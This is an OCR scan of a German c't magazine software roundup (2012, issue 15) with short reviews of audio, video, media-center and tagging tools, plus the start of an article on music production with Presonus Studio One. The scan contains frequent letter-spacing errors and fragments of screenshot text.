keit im Vordergrund:  Das Prog ramm läuft di­
rekt ohne I nsta l l at ion auch vom USB-Stick, 
ind iziert beim ersten Sta r't automatisch d ie 
loka le Mus ikbib l iothek, zeigt A lbumbi lder an 
und u nterstützt a l l e  wichtigen Audioformate 
e insch l ieß l i ch A IFF ,  FLAC, Ogg Vorbis, AAC 
und WavPack. (ghi)  

Wusik�Bibliothek 
fl.. ,..1\. I> Album: Tron Logecy [OSTJ [201 0  2010! .  Künsder. Deli Punk 'r' ""V Nt!Vige.llon Genras , KUnst I er . Alben , Mustkordner , Mein Computer 
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f 1 1 7 DISc Wars 
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Der Audioplayer 
"Boom" ist mini­
mal istisch gehalten: 
Er lädt in Nu l lkomma­
nix, auch direkt vom 
USB-Stick, bietet Links 
zu anderen Titeln 
desselben Genres 
oder Künstlers und 
gibt zah l reiche 
Formate wieder. 

Jahrelang schielte mancher Win­
dows-Nutzer verschämt auf Linux: 

Dessen Amarok-Audioplayer wartete mit 
e iner einzigartigen Verb indung von schnör­
kel loser Bedienung, I nteg ration des Musik­
empfeh lungsdienstes Last.fm und anderen 
Onl ine-Diensten auf. Der auf Amarok 1 .4 auf­
setzende Clementine Music Player bringt 
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Mit dem Audials Mediaraptor 9 SE durchsucht man bequem Audio- und Videoporta le 
nach musikal ischen Inhalten und speichert sie für den späteren Gebrauch. 

diese Funktionen nun ebenso fü r Windows 
und Mac OS X; seit kurzem können auch Nut­
zer der Mus ik-Fiatrate Spotify Premium den 
Player a ls  Abspieler verwenden. (vza) 

fooba r2000 i st e iner  der geekigsten 
Mus ik-P iayer: Der Autor hat das Pro­

gramm expl izit ., n icht fü r jedermann" konzi­
piert. Ein Assistent unterstützt e inen bei der 
E inrichtung der Bed ienoberfläche, danach ist 
man auf s ich sel bst geste l lt . Warum sol lte 
man s ich das antun? fooba r2000 sta rtet im 
Nu,  g ibt MP3-Dateien und viele andere Au­
dioformate ohne Pausen zwischen den Stü­
cken wieder, spie lt auch Dateien d i tekt aus  
ZI P-Arch iven und lässt s i ch  du rch e ine  Viel­
zah l  an  Zusatzmodu len  erweitern; ein I D3-
Tagger und andere nützl iche Komponenten 
l iegen bereits bei .  (gh i )  

E in nützl iches Zusatzmodu l  zur Klang­
verbesserung ist der foobar2000 VST 

Wrapper, der VST-Piug- ins e inb indet - etwa 
Kompressoren oder Mu ltiband-Equa l izer. 

Nach der E i n richtung des P lug- ins  muss  
man im E instel l ungsdia log (F i le/Preferences) 
unter .,P iayback!DSP Manager" den .,George 
Yohng's VST Wrapper" i n  die Liste der Active 
DSPs übertragen. 'Damit die Erweiterung die 
i nsta l l ierten VST-Modu le  auch fi ndet, legt 
man sie entweder im fooba r-Ordner ab oder 
g ibt i h ren Pfad über das Kontextmenü des 
Prog ramm-lcons im I nfobereich der Taskleis­
te (VST Setup . . .  ) an .  H ier kann  man auch 
festlegen, du rch welchen VST-Effekt der Ton 
geleitet werden so l l .  (ghi )  

sort iert d ie Treffer a n  der r icht igen Ste l le  e in .  
Das sorgt fü r Ü bers icht, dennoch i st man 
nicht davor gefeit, etwa bei YouTube verse­
hentl ich e ine Coverversion herunterzu laden.  
Da h i lft nur e in  Doppel k l ick und e in B l ick auf 
d ie  Vorschau .  K lappt der Down load n icht, 
kann  das Prog ramm auch B i ldsch i rminha lte 
m itschne iden .  Wer d ie  Vo l lvers ion aus  
Med iaraptor 9 SE heraus erwi rbt, dem räumt 
RapidSolut ion Software e inen Rabatt von 
20 Euro e in .  (vza) 

Die que l loffene DJ-Softwa re 
M ixxx hat s ich m itt lerwei le  zu 

e iner  ernstzu nehmenden Konku rrenz fü r 
kommerzie l le  P rog ramme entwickelt. S ie  
lässt s ich n icht nu r  m it Maus- und Tastatu r, 
sondern a uch mit M ID I-fä h igen DJ-Control-

lern steuern .  Zwei para l l e l  laufende Decks 
und vier Sampier  lassen sich über den Cross­
fader mite ina nder m i schen.  Das Prog ramm 
spie lt  a l l e  gebräuch l ichen Songformate ab, 
erkennt das Tempo der Tracks, synchronis iert 
s ie automatisch, setzt Loops und Cue-Punkte 
und quantis iert d iese. Nu r  bei den Effekten 
muss  s ich M ixxx Traktor & Co gesch lagen 
geben. Außer e inem mageren F langer i st 
n ichts mit dabei .  (hag) 

!\. Wer se ine Mus ik  n icht i n  
( l e iner  fremden Cloud la­

gern oder Mus ik-F latrates (z .  B. S imfy, Spoti­
fy) nutzen wi l l ,  kann  mit wenigen Kl icks den 
in Java entwickelten I nternet-Mus i kserver 
Subsonic an den Start br ingen.  Auf die Mu­
s iksammlung  g reift man über das Web­
F rontend zu; wer mobi l  per App die Mus ik  
abspielen wi l l ,  muss dem Programmierer S in­
d re Meh us  mi ndestens  10  Eu ro ., spenden". 
Damit Su bsonic nach d ra u ßen telefon ieren 
kann,  muss man ihm e in Loch i n  die F i rewa l l  
boh ren (u nter Windows Port 8080, be i  Mac 
OS Port 4040) und den ankommenden Traffic 
auf den loka len Port u m leiten. G leiches g i l t  
fü r den ebenfa l l s  i n  Java geschriebenen Mu­
sikserver Sockso. Diesen kann  man zwar mo­
mentan nu r  ü ber das Web-Frontend n utzen 
(Port 4444), dafü r  punktet er aber mit der 
Last.fm-E inb indung, d ie  Mus ik ähn l icher 
Künst ler aus  der  e igenen Sammlung  emp­
fieh lt. (vza) 

Der que l loffene Mus ik-Piayer 
Songbird i st quasi  der Gegenent­

wurf zu foobar2000: leicht zugängl ich, optisch 
opu lent und sozia len Medien zugetan .  Das 
Programm bringt zah l reiche Add-ons mit, um 
Download-Stores, I nternet-Radios und Kon­
zertt ipps e inzubinden.  Zusätzl iche Erweite­
rungen binden QuickTime- und Windows­
Media-Dateien e in;  zur QuickTime-Wieder­
gabe muss a l lerd ings das P lug- in von Apple 
insta l l iert se in .  Audio-CDs lassen sich mit 
Gracenote-Unterstützung r ippen und ver-

Der in e iner Spezialversion vorl iegen­
de Audials Mediaraptor 9 speichert 

Audio- und Videodateien von za h l re ichen 
Webporta len .  Sucht man nach Künst lern, 
zeigt Mediaraptor deren Discografien an  und 

Das kosten lose Mixx kommt inzwischen mit einer Reihe von DJ-Controllern 
zurecht und mischt Musik auf zwei Decks und vier Samplern gleichzeitig. 
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schlagworten; a l lerd ings kodiert Songbird aus 
l izenzrechtl ichen Gründen nu r  FLAC und Ogg 
Vorbis. Während der Wiedergabe zeigt Song­
bird in  einem I nfofenster biog rafische Daten, 
Nachrichten sowie Fotos und Videos des 
Künstlers an. Über die Commun ity Song­
bird.me lassen sich Bewertungen und Mus ik­
tipps austauschen. (gh i )  

Der Stereoscopic Player von Peter 
Wimmer spielt a l le denkbaren stereo­

skopischen Videoformate ab, darunter a l lei­
ne 27 versch iedene Typen von Anaglyphen. 
Wäh rend d ie  kosten lose Standa rdvers ion 
grundsätzl ich nach fünf M inuten einen Neu­
start erfordert, kann  man d ie c't-Ed ition auf 
u nserer Heft-DVD e ine Viertelstunde lang 
verwenden; d ie  anag lyphen Videodateien 
spielt d iese Fassung des P layers zeit l ich un­
begrenzt ab.  Aus l izenzrecht l ichen Gründen 
fehlen d ie Codecs wie e in  MVC-Decoder. Wer 
d iesen benötigt, muss den Player von 3dtv.at 
herunterladen. (vza) 

Mit StreamWriter l ässt s ich I nternet­
Radio zum Wunschprogramm u mbie­

gen. Das deutschsprachige Werkzeug zeich­
net ausgewäh lte Streams komplett auf und 
schneidet s ie  anhand der  ü bermittelten 103-
Tags in  EinzeltiteL Weniger als 45 Sekunden 
lange Stücke erkennt StreamWriter a l s  Wer­
bung und ignoriert s ie. U m  Titel manue l l  
nachzuschneiden, l ädt  das Programm auto­
matisch ein Encoder-Add-on herunter. Der 
Clou ist jedoch der . .  Listen"-Kartei reiter: Hier 
kann man bevorzugte Wunschtitel und -inter­
preten eingeben und dann gemütl ich abwar­
ten, bis die Software in den über 1 0  000 auto­
matisch erkannten Streams das Gewünschte 
gefunden und aufgezeichnet hat. ln der Stan­
dardeinstel lung schreibt StreamWriter die Da­
teien im empfangenen Format auf die P latte; 
man kann aber auch festlegen, dass das Pro­
gramm sie beim Speichern in ein bestimmtes 
Zielformat konvertieren sol l .  (ghi )  

TV & Media Center 

Eine der wenigen vol l ständigen A lter­
nativen zum Windows Media Center, 

Media Portal. darf auf einer AudioNideo-DVD 
n icht fehlen.  Die quel loffene Medienzentra le 
unterstützt a l le TV-Empfangsnormen und 
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kann  d iese sogar kombin ieren. Mit Skins und 
zah l reichen P lug- ins lässt s ich d ie Software 
weitreichend konfektionieren und der TV-Ser­
ver auf Wunsch sogar  auf e inem auta rken 
Rechner betreiben. Bei der Insta l lation lädt 
MediaPorta l einige benötigte Programmpake­
te (etwa spezie l le Di rectX-Runtimes und SOL­
Server) aus  dem I nternet nach; doch keine 
Sorge, mit Ausnahme der Datenbankverknüp­
fung läuft a l les vol lautomatisch ab. (vza) 

!l Mit MediathekView durch­
( 1 stöbert man d ie  On l i ne­

Mediatheken der öffentl ich-rechtl ichen Fern­
sehsender. Es l i stet die angebotenen• Sen­
d u ngen auf und verei nfacht die Suche mit · 
F i l tern. I n sta l l i e rt man zusätzl ich den VLC­
Piayer und den flvstreamer, so lassen sich d ie 
Send ungen komfortabel wiedergeben und 
a ufze ichnen .  Bei Serien s ind zudem Abos 
mög l ich, d ie  ei nze lne Folgen a n  wiederkeh­
renden Sendeplätzen automatisch aufzeich­
nen.  Die Windews-Vers ion bringt den 
flvstreamer bereits m it, u nter Mac OS X und 
L inux muss man beide Prog ramme insta l l ie­
ren (c't-Li n k) .  (hag) 

Prog DVB bietet a l les, was man zum 
Fernsehen am PC braucht. Es u nter­

stützt DVB-Empfänger nach dem BOA-Trei­
bermodel l  i n  Windows ebenso wie vie le an­
dere Empfänger fü r Sate l l it, Kabel oder über 
Antenne. Ü ber  Textdateien lassen s ich ak­
tuel le Transponderl isten e inpflegen. Die freie 

MediaPortal ist 
nach wie vor 
eine der wenigen 
vollwertigen 
Alternativen zum 
Windows Media 
Center. 

Version von Prog DVB wird mit einem zeit l ich 
beg renzten MPEG-2-Decoder  von E lecard 
ausgel iefert. Alternativ kan n  das Programm 
auch auf im System i nsta l l ie rte Codecs zu­
g reifen. (F ior ian Klan/vza) 

Die elektronische Programm­
zeitsch rift TV Browser holt 

Programminfos von über 1 000 Fernseh- und 
Radiosendern ein und ste l lt sie in  individuel l 
konfigurierbaren Spa lten übersichtl ich dar. Ein 
Ka lender und ein Zeitfi lter lassen einen be­
quem suchen, was wann und wo läuft. (hag) 

Uti l ities 

Auch nach Jahren setzt Exact Audio 
Copy (EAC) den Standard, wenn es 

darum geht, unter Windows Aud io-CDs bit­
genau zu r ippen. Es prüft die ausgelesenen 
Sektoren und g leicht Hash-Werte der Songs 
mit der On l i ne-Datenbank von Accu rate-Rip 
ab. I nzwischen holt EAC auch Meta-Daten zu 
den Songs und d ie  P latten-Cover aus ver­
schiedenen Quel len.  Wer die Songs als MP3 
kod ieren wi l l ,  muss zusätzl ich den MP3-Enco­
der LAME insta l l ieren, den wir  aus  l izenz­
recht l ichen Gründen n icht mit auf d ie DVD 
packen konnten (c't-Li nk) . (hag) 

Mit dem HCFR Colormeter von 
Homecinema-fr.com lassen s ich 

B i ldsch i rme und Fernseher nach Videostan­
dards  wie REC 709 oder sRGB ka l ibrieren. ln 
Verb indung mit einem Colorimeter ermittelt 
das Prog ra mm die He l l igkeit der Grundfa r­
ben Rot, Grün und B lau fü r zehn  u nterschied­
l iche Grauwerte. Aus den Messwerten be­
rechnet es danach Farbraum, Farbtempera­
tur und Gammaverlauf des B i ldsch i rms. Auf 
Basis d ieser Ergebnisse ka l ibriert man im letz­
ten Schritt den B i ldsch i rm oder Fernseher. 

(F ior ian Klan/vza) 

Den Umgang mit Microsofts Mu ltime­
dia-P lattform Di rectShow er leichtert 

GraphStudioNext. Es e ignet s ich beispiels­
weise, u m  Di rectShow-Diagramme zu prü­
fen, um eigene Prog ramme zu erzeugen 
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Das TV- und Radioempfangsprogramm ProgDVB unterstützt neben EPG, 
Untertiteln und Timesh ift/Aufnahmefunktionen auch PayTV und dreht 
sogar Sat-Motoren nach dem Standard Diseqc 1 .3 (USALS). 

oder sch l icht, um Fehler aufzuspüren.  Nutzt 
ein Player etwa n icht den gewünschten De­
coder, kann man eine Datei in GraphStud io­
Next abspie len und das erzeugte Prozess­
diagramm u nter d ie Lupe nehmen. Das Tool  
passt auf Wunsch auch Pr ioritäten von 
Di rectShow-F i ltern an  oder wi rft Codecs 
ganz aus dem System, benötigt dazu jedocn 
Admin istratorrechte. (vza) 

A ls  Schweizer Taschen messer zum 
Brennen von CDs,  DVDs und B lu - ray 

Discs erweist s ich lmgBurn. Das Prog ramm 
n immt zah l reiche Image-Formate entgegen, 
daru nter BIN, IMG, ISO, N RG, POl  und CUE­
Sheets. Das Startmenü verei nfacht d ie Wah l  
des r ichtigen Brennmodus .  i n  d e n  komple­
xen Setup-Menüs können Experten jede er­
denkliche Option e inste l len .  (hag) 

X Audio-Tagging ist e in kom­
plexes und oft mühevol les 

Unterfangen.  N icht e inma l  bei Kaufmus ik  
kann man s i ch  darauf verlassen, dass  Zusam­
menste l l ungen als solche gekennzeichnet, 
Alben-Cover e ingepflegt und die Metadaten 
vol l ständig s ind.  Diverse Prog ramme wol len 
d ie Aufgabe er le ichtern. Kid3 l iegt sowoh l  
fü r Linux, und Mac OS a l s  auch für Windows 
vor. Die aktuel le  Vers ion 2.1 behält den 
schl ichten Aufbau der Erstversion bei ,  s ieht 
aber deut l ich freu nd l icher  und moderner 
aus. Tags lassen sich einze ln und für Gruppen 
bea rbeiten.  Kid3 zeigt auch obskure Meta­
tags an: So eignet es sich optimal ,  um even­
tuel l  vorhandenen "Oatenmü l l " in  den Meta­
daten zu finden und zu entfernen. (gh i )  

Codecs und dem Conta iner-Format auf. Das 
i st besonders h i lfre ich,  wen n  man Abspie l ­
problemen auf  d ie  Sch l iche kommen w i l l  
oder Videos erste l len w i l l ,  d ie verg le ichbare 
Parameter verwenden wie eine Vorlage.(vza) 

X A Mix2Stix n immt dem 
( l Hörer d ie Qual  der Wah l  ab, 

wenn  er se inen (zu) k le inen MP3-Stick mit 
neuen Songs befü l len wi l l .  Die Software wäh lt 
aus  e iner MP3-Sammlung  ei nfach zufä l l i g  
neue  Songs aus  und kopiert s i e  in  e in Unter­
verzeichn is  oder d i rekt auf den Stick. (hag) 

Den meisten MKV-Videodateien fehlen 
Kapitel, i n  denen man blättern könnte. 

Damit man beim d ig ita len F i lmabend n icht 
d u rch d ie  ganze Datei spulen muss, g ibt es 

den M KV-Chapterizer. Das Programm un­
tertei lt  MKV-Dateien i n  frei wäh lbaren I nter­
va l l en  in Kapite l .  Enthä lt  d ie  Datei bereits 
eine Kapitelstruktur, kann  das Tool d iese ent­
fernen oder ersetzen .  Auf Wu nsch versieht 
die Anwendung auch eine ganze MKV­
Sam m l u ng automatischen mit  Zwischen­
sch ritten/Kapite ln .  E ine a utomatische Sze­
nenerkennung, d ie  e inen beim Setzen der  
Kapite lma rken unterstützen würde, g i bt es  
le ider  n icht. (F iorian Klan/vza) 

X Die Tooi-Sammlung MKVTooiNix 
von Moritz Bunkus erstel lt  und 

ana lysiert Dateien im Matroska-Conta iner-For­
mat. Für  jede Aufgabe steht in dem quel loffe­
nen Paket ein separates Programm bereit. 

Das Programm mkvmerge fasst Aud io- und 
Videodateien sowie Untertite lspuren in  MKV­
Dateien zusammen. Mit dem integrierten Edi­
tor kann man Kapitelstrukturen an legen. Auf 
Wunsch erste l l t  das Tool auch Videos im 
WebM-Format, wenn man es mit VP8-kodier­
ten Videos mit Vorbis-Tonspur füttert. Weitere 
Prog ramme in der Sammlung informieren 
über den Datei inha lt  (mkvinfo), ändern Eigen­
schaften (mkvpropedit) oder extrah ieren 
(mkvextract) e inzelne Bestandtei le bestehen­
der MKV-Dateien. (F iorian Klan/vza) 

Die g roße Stärke von Mp3Tag l iegt in  
der U nterstützung zah l re icher Audio­

formate. Metatags lassen sich aus den Daten­
banken von Amazon, D iscogs und Mu­
s icBra inz  beziehen; m ittlerwei le  lädt das 
Werkzeug auch Album Art bei Amazon 
herunter. Über "Aktionen" lassen s ich kom­
plexe Abläufe automatisieren, etwa das Tren­
nen eines fa lsch angelegten Title-Tags in Titel 
und Künstler oder die Übertragung von I nfor­
mationen aus  einem Feld in e in anderes. (ghi )  

Vie le MP3-0ateien entha lten 
kleine Defekte. Insbesondere bei 

der Ü bertragung von Streams kommt es 

X Einen Blick ins Innere von Aud io­
und Videodateien kan n  man mit 

Mediai nfo werfen.  Das Tool l i stet fei n  säu­
ber l ich geg l iedert a l le  techn ischen I nforma­
tionen zu den i n  der Datei verwendeten 

Der TV-Browser stellt das Fernsehprogramm einer individuel l 
konfigurierbaren Senderauswah l  übersichtlich dar. 
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immer  wieder zu Aussetzern .  Die meisten 
P layer handhaben d iese Defekte mit Nach­
s icht und  resynchronis ieren den Stream, 
ohne dass der Hörer davon etwas m itbekä­
me. Gelegent l ich sind aber auch deut l iche 
Knackser oder andere Klangartefakte zu 
hören.  Bevor man d ie  defekte Date i  weg­
schmeißt, sol lte man s ie an  das Kommando­
zei lenwerkzeug MP3val verfüttern. Am kom­
fortabelsten geht das ü ber g rafische Bed ien­
oberflächen: Für Windows l iegt dem Release 
das "MP3va l-frontend" bei, fü r andere Syste­
me greift man auf das GTK-Frontend mp3val­
gu i  zu rück. Nach e inem Prüfd u rch lauf ü ber 
das Lupen-Symbol ma rkiert man d ie  mit  
"PROBLEM" gekennzeichneten Tracks und 
wäh l t  dann  aus  dem Kontextmenü "Repa i r  
selected fi les" beziehungsweise kl ickt i n  der 
Menü leiste auf das Zahn rad. (gh i )  

X Wer l ücken haft getaggte 
Mus ika rch ive auf der Fest­

platte aufräumen wi l l ,  sol lte es mal  m it Mu­
sicBrainz Picard versuchen.  P icard erkennt 
Mus ikstücke a n hand i h rer d ig ita len F i nger­
abdrücke wieder, d ie  mit den Datenbanken 
von Ampl i F I N D  (Mus icDNS) und  Acoust i D 
abgeg l ichen werden.  Das k lappt oft hervor­
ragend, auch wen n  e in  Titel n u r  "Track 1 " 
heißt. Mitu nter verhaut s ich d ie  Automati k 
aber - vor dem Speichern sol lte man d ie Er­
gebnisse a l so auf jeden Fa l l  aufmerksam 
durchgehen, damit man d ie Meta informatio­
nen nicht versch l immbessert. Für die N ut­
zung von Acoust iD  muss  man erst on l i ne  
einen API-Sch lüssel anfordern; d ie Reg istrie­
rung ist kosten los. (gh i )  

Das Sound Recognition Lab 
wurde entwickelt, um Geräusche 

ana lysieren, verg leichen und klassifizieren zu 
können.  Es eignet s ich fü r L ingu isten genau­
so wie fü r Biologen, d ie verschiedene Tierlau­
te verg leichen und kata logis ieren wol len.  ln 
den versch iedenen Ans ichten zu Wel len­
form, Scha l l d ruck und  Phasen-Spektro­
gramm lassen sich ei nze lne Abschn itte mar­
kieren und mit verschiedenen Annotationen 
versehen, d ie dann i n  d ie Datenbank aufge­
nommen werden. (hag) 

Das k le ine  P rog ra m m  SoundGraf 
von He in rich Poh lmann  ste l l t  Tons ig­

na le  vom Aud ioei ngang des PC a l s  Oszi l lo­
g ramm da r. D i rekt nach der I n sta l l a t ion 
ze igt  das Tool  den Pegel  von S igna len  auf  
v ierzehn  konfi g u r ierbaren F requenzbä n­
dern an ;  a u ßerdem g i bt es Ausku nft ü ber  
Durchschn ittspege l  und  F requenz.  Zusätz­
l ich stehen sechs g rafische Vi sua l i s ierungen 
zur  Verfügung .  ( F io r i an  K lan/vza) 

Der russ ische TagSca nner tei lt  se ine 
Oberfläche i n  vier Kartei reiter: "Mus ic  

Renamer" kümmert s ich um d ie Vere inheit l i ­
chung von Date inamen; "Tag Editor" dient 
zur  manue l len  Bea rbeitung e i nze lner  oder 
mehrerer Titel; "Tag Processor" ergänzt Tags 
aus On l i ne-Datenbanken, anhand der Datei­
namen oder aus CSV-Dateien;  "List Maker" 

c't 201 2, Heft 1 5  

lt«* .......-. Eabft � tflll· 
W lrol ,.. - + + �> .1' 

... � .......... ��·MI·- • O.S. NI!G tW,.Jl2Gfliot40IIXIHrllontS-l::M .. .... ._ · � ,._, ln·Sclu*·�ll�l 
�-.a:IOI ,._. 11.(\o-� 'II.(WI} 

� � G.OI'I)Sdw-
� Hutyu- &tloe,.,.., " • NcolhonfWO..IIeiol · O.a.ctnonM:: ......, 

Software-Kol lektion I AudioNideo 

ln Version 2 sieht 
der Audio-Tagger 
Kid3 deutlich 
zugängl icher aus 
als zuvor. 

• � =�=;=�:::: r::(?Jc::-r..,--,::---, ..,---------, r=:::-:--, 
) • � n..s,..._tHJWMSioCIJI. '­) • � TN...,._I�SACDL C... 

· ­· · -
• (l981)T�IIU, � 01 - .... · I*:'IAwi:Vou� 

: Q2  . .... . HO)t �  ::: lß · ........, · l-Uooi::GoodOnYw .... l 
::: IN -

I?: - -

'"' 

erzeugt P layl ists und Tabel len.  Bei der Bea r­
beitung kan n  man zusätzl iche "Text-Umfor­
mungen" vorgeben, um etwa Sch reibweisen 
zu verein heit l ichen. (ghi )  

Videobearbeitung 

Das freie Captu r ing Tool AV-Cutty si­
chert DV-Bänder und h i lft bei ih rer Ver­

arbeitung. Die mit Camcordern mitgelieferten 
Videoschn ittprog ramme komprim ieren Bän­
der häufig zur Ausspielung auf DVD; AV-Cutty 
speichert das Materia l  h ingegen in seiner u r­
sprüngl ichen Qual ität. Das Tool  speichert 
Video- und Aud iodatenströme der Bänder in  
DV-AVI-Dateien vom Typ 1 oder 2, ohne diese 
dafü r erneut zu kod ieren. Zusätzl ich lassen 
sich die eingespielten Videos in  Szenen auftei­
len und trimmen. Optional  erkennt das Pro­
gramm automatisch Szenen und erzeugt 
daraus Subcl ips. (F ior ian Klan/vza) 

E i n  u nverz ichtbares Mitte l zu r  a uto­
mat is ierten Videovera rbeitu ng ste l l t  

d ie  Videoskr iptsprache AviSynth dar, d ie  
s ich m it za h l re ichen kostenfre ien P lug- ins  
u nabhäng iger  Entwickler erweitern l ässt; 
e ine L iste fi ndet s ich beisp ie lsweise u nter 
http:/ /avisynth.org/warpenterpri ses/. Weni­
ge Skriptze i len reichen, u m  e in V ideo auto­
matisch m it Vor- und  Nachspa nn ,  e inem 
Wasserze ichen sowie i nd ividue l l e r  Bauch­
binde zu versehen und es auf d ie gewünsch­
te Zie lauflösung zu stutzen .  Zur  Ausfü h rung 
von .avs-Skripten braucht  man  e ine Host­
Anwendung wie e inen Di rectShow-fäh igen 
P layer, V i rtua iDub  (s iehe u nten) oder den 
AviSynth-Ed itor AvsPmod. Letzterer h i lft 
mit Syntax-Hervorhebung und Autovervo l l ­
ständ igung von AviSynth-Befeh len beim Er­
ste l l en  der Skr i pte; e ine Vorschaufu n kt ion 
hat AvsPmod ebenfa l l s  a n  Bord. (vza) 

TsRemux verpackt versch iedene Da­
tenströme von MPG oder TS b is  zu 

VOB wah lweise i n  M2TS- oder TS-Conta iner­
Dateien.  Opt ional  erzeugt das Tool B lu-ray-

fäh ige Ordner. Bei m Remuxen lassen s ich 
einze lne Video- oder Audioströme entweder 
entfernen oder aus  dem Mu lt ip lex heraus­
trennen.  Zusätzl ich kann  das Programm Da­
tenströme trimmen und in Kapitel untertei­
len. (Fiorian Klan/vza) 

(\ Ausgewäh lte Kapitel der 
Videotra in ings  von video-

2brain zeigen, wie man Videos mit Spiegel­
reflexkameras d reht und sich dabei deren 
spezie l le Fäh igkeiten zunutze macht, geben 
Tipps zum manuel len Fokussieren und zum 
E inste l len  der "r icht igen" Empfind l ichkeit. 
Das zweite Tra in ing  widmet sich dem 
Umgang mit Adobes Videoschn ittprogramm 
Premiere Elements 1 0 - vom Importieren der 
I nha lte über die Verwendung der Zeitleiste 
bis h in  zur automatischen Takterkennung.  

(vza) 

Obwoh l  das AVI-Format längst nu r  
noch e i ne  u ntergeordnete Rol le spie lt, 

kan n  d ie  k le ine AVI-Videobearbeitung Vir­
tuaiDub weiterh in  nützl iche Dienste leisten. 
Besonders im Zusammenspie l  m it AviSynth 
und dessen un iverse l l en  Quel lfi lter-P iug- in 
ffmpegsource (aus l izenztechn ischen Grün­
den n icht a uf der DVD, c't-Li nk: http:// 
code.goog le.com/p/ffm pegsource/) kann 
man damit v ie le  D inge ausprobieren, ohne 
g leich e in ausgewachsenes Videoschn ittsys­
tem bemühen zu müssen. Virtua iDub bringt 
zah l reiche Aud io- und Videobearbeitungsfi l­
ter mit und lässt s ich mit P l ug-ins - vornehm­
lich zur Restau ration - erweitern (http://neu 
ron2.net/) . (vza) 

Wer u nter Windows oder Mac 
OS X Videos in  dem quel loffenen 

WebM-Format abspielen wil l , muss die pas­
senden Decoder nachinsta l l ieren. Das WebM 
Project bietet sie in Form von Di rectShow-Fi l­
tern fü r Windows und einer Quick Time-Kom­
ponente fü r Mac OS X an .  (vza) 

www.ct.de/1215102 c't 
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Nico Jurran, Ka i Schwi rzke 

Virtuel ler Musikant 
Das Musikstudio i m  Rechner 

Vom Einspielen von Musik ü ber d a s  Arrang ieren und Editieren bis 
zum Mischen: Der Computer ist ein wah rer Ta usendsassa im Tonstudio.  
Er kann Effekte beisteuern und sogar die Sounds legendärer Gitarren­
und Bassverstä rker emul ieren. Unsere Software-Kol lektion bietet beste 
Voraussetzu ngen fü r die ersten Sch ritte in  die Welt der digita len 
Musikprod u ktion.  · 

E inen hervorragenden Ausgangspunkt für 
eigene Audio-Experimente stel lt die Free­

ware-Version des Programms Studio One 
von Presonus dar. Der Ableger d ieser 
profess ione l l en  Record i ng-App l i ­
kation erlaubt d ie Aufnahme sowie 
das Editieren und Arrangieren von 
Audio- und MID I-Spuren. Über das in­
tegrierte Mischpult bringt man die Spu­
ren ins richtige Lautstärkeverhältn is, au­
ßerdem gestattet das Programm die E inb in­
dung von Software-Effekten und - Instrumen­
ten (Piug-ins) . 

Studio One verfo lgt  das  Konzept der  
"Docked Windows"; a l l e  Arbeitsbereiche l ie­
gen a l so an  festen P lätzen und  versperren 
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n icht, wie bei v ie len a nderen fensterbas ier­
ten App l i kat ionen,  d ie  S icht  auf  Wesent l i ­

ches.  Am schne l l sten macht man s ich 
mit  d iesem Konzept vertraut, i ndem 

man d ie  Funkt ionstasten F2 b is  F5 
ausp rob iert :  F2 öffnet den Spu r­
Ed i tor, F3 das  M i schpu lt, F4 den 
I nfobereich fü r a usgewäh lte Ere ig-

n i sse und F5  zeigt den B rowser fü r 
a l l e  auf dem System i nsta l l ierten Effekt­

und  l n strumenten-P iug- ins, Loops und  an­
dere Sounds .  U m  beisp ie lsweise e ine Spur  
mit  e inem Softwa re- I n st rument e i nzur ich­
ten, z iehen S ie  e i nfach das  gewünschte 
Exemp la r  aus dem Ordner  namens  I nstru­
mente auf d ie  fre ie F läche i m  Arra ngement-

Bere ich .  Stud io  One r ichtet d a n n  a utoma­
t isch e ine neue Spur e in .  

Gleiches g i l t  fü r d ie Effekte. Um die Instru­
mentenspur  mit  etwas Ha l l  a ufzu peppen, 
g re ifen SJe s ich das  P lug- in  I h rer Wah l  aus  
dem Effekte-Ordner und bewegen es auf  d ie  
Z ie l spur. E in  B l i ck  auf das  Mischpu lt (F3) 
zeigt, dass das P lug- in a l s  I nsert-Effekt i n  der 
korrespond ierenden Spur aufgefü h rt wird. 
A l lerd ings  müssen Sie zuvor d ie Ansicht mit 
dem Klei n/Groß-lcon (der k le ine nach oben 
und u nten zeigende Doppelpfe i l  ganz l i nks 
im Mischpu lt) vergrößern. 

Bevor es mit den Software-I n strumenten 
und -Effekten (P iug- ins) weitergeht, kurz ein i­
ge Anmerkungen zur  Steuer- und Aud io­
Ha rdware. Beides sol lten Sie vor der ersten 
Aufnahmesession konfigu rieren, um später 
den Workflow n icht u nterbrechen zu müssen. 

Steuermann 

Bei Software- Instrumenten ü bern immt zwar 
der Computer d ie  K langerzeugung, d ie An­
steuerung erfolgt jedoch über e inen exter­
nen Control ler, in der Regel ein Keyboa rd. 
Das überträgt, je nach Ausstattung,  neben 
Ton höhe und Lautstä rke weitere Perfor­
mance-Parameter. Dabei kommt a l s  Protokol l  
se it  mehr a l s  25 Jahren MID I  (Mus ica l  I nstru­
ment D ig ita l  I nterface) zum E insatz. U r­
sprüngl ich wurde M IDI-Equ ipment mit 5-po­
l igen D IN-Kabeln vernetzt, doch mittlerwei le 
lassen sich d ie I nformationen seh r viel beque­
mer auch über USB und F i reWire übertragen. 

Verei nfacht · gesprochen entha lten die 
M IDI-Daten beispielsweise Angaben darüber, 
welche Taste mit welcher Anschlagstärke und 
für welche Dauer gedrückt 'wurde. Gegenüber 
e iner Aud ioaufnahme muss der zur E ingabe 
verwendete MIDI-Contro l ler  beispielsweise 
keinen d i rekten Bezug zum Software- Instru­
ment haben; per Keyboard kann  man ebenso 
gut ein Streichorchester wie e in Schlagzeug 
einspie len.  Im  U nterschied zu Aud ioaufnah­
men lassen sich aufgezeichnete Ste'uerdaten 
im Nachhine in problemlos bearbeiten - etwa 
um Fehlgriffe zu korrig ieren. 

Stud io  One ken nt eine ganze Reihe sol­
cher Contro l ler-Keyboards und weiß, welche 
Taster, Schiebe- und Drehreg ler d iese Model­
le m itbr ingen. Mit etwas G lück finden Sie I h r  
Exemplar  u nter den  Optionen bei den  "exter­
nen Geräten" und können es dort anwäh len.  
Der Vorte i l :  S ie  müssen d ie  Contro l ler-Ele­
mente n icht erst per Hand konfigu rieren. 
Aber keine Sorge: E ine normale M IDI-Tasta­
tur erkennt das Prog ramm in jedem Fa l l ,  Sie 
müssen led ig l ich  den korrekten M ID I-Port 
respektive Gerätetreiber auswäh len.  

Ausgabestel le 

Wie be i  aufs Mus ikmachen spezia l i s ierten 
Programmen übl ich,  müssen Sie Studio One · 

außerdem in den Optionen mitte i len,  ü ber 
welches Gerät und welche Ports Sie Audiosig­
nale aufnehmen und ausgeben möchten. Im 
